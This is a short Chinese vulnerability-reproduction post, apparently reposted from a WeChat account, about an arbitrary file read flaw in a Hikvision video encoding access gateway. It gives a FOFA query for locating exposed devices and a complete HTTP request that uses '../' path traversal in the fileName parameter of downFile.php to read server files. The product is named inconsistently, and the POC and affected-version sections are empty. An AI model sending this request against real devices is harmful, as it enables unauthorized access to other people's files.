海康威视视频编码设备接入网关存在任意文件读取漏洞

文章目录

  • 海康威视视频编码设备接入网关存在任意文件读取漏洞
    • 1. 海康威视综合安防管理平台简介
    • 2.漏洞描述
    • 3.影响版本
    • 4.fofa 查询语句
    • 5.漏洞复现
    • 6.POC&EXP
    • 7.整改意见
    • 8.往期回顾

海康威视视频编码设备接入网关存在任意文件读取漏洞

1. 海康威视综合安防管理平台简介

微信公众号搜索:南风漏洞复现文库
该文章 南风漏洞复现文库 公众号首发

海康威视是以视频为核心的智能物联网解决方案和大数据服务提供商。 杭州海康威视系统技术有限公司流媒体管理服务器存在任意文件读取漏洞。

2.漏洞描述

海康威视是以视频为核心的智能物联网解决方案和大数据服务提供商。 杭州海康威视系统技术有限公司流媒体管理服务器存在任意文件读取漏洞。

3.影响版本

4.fofa 查询语句

app=“HIKVISION-综合安防管理平台”

海康威视视频编码设备接入网关存在任意文件读取漏洞_第1张图片

5.漏洞复现

漏洞链接:
http://127.0.0.1/serverLog/downFile.php?fileName=…/web/html/serverLog/downFile.php
漏洞数据包如下:

GET /serverLog/downFile.php?fileName=../web/html/serverLog/downFile.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1

成功读取downFile.php 文件内容
海康威视视频编码设备接入网关存在任意文件读取漏洞_第2张图片

6.POC&EXP

7.整改意见

目前厂商尚未提供相关漏洞补丁链接,请关注厂商主页随时更新: https://www.hikvision.com

8.往期回顾

你可能感兴趣的:(漏洞复现,php,开发语言)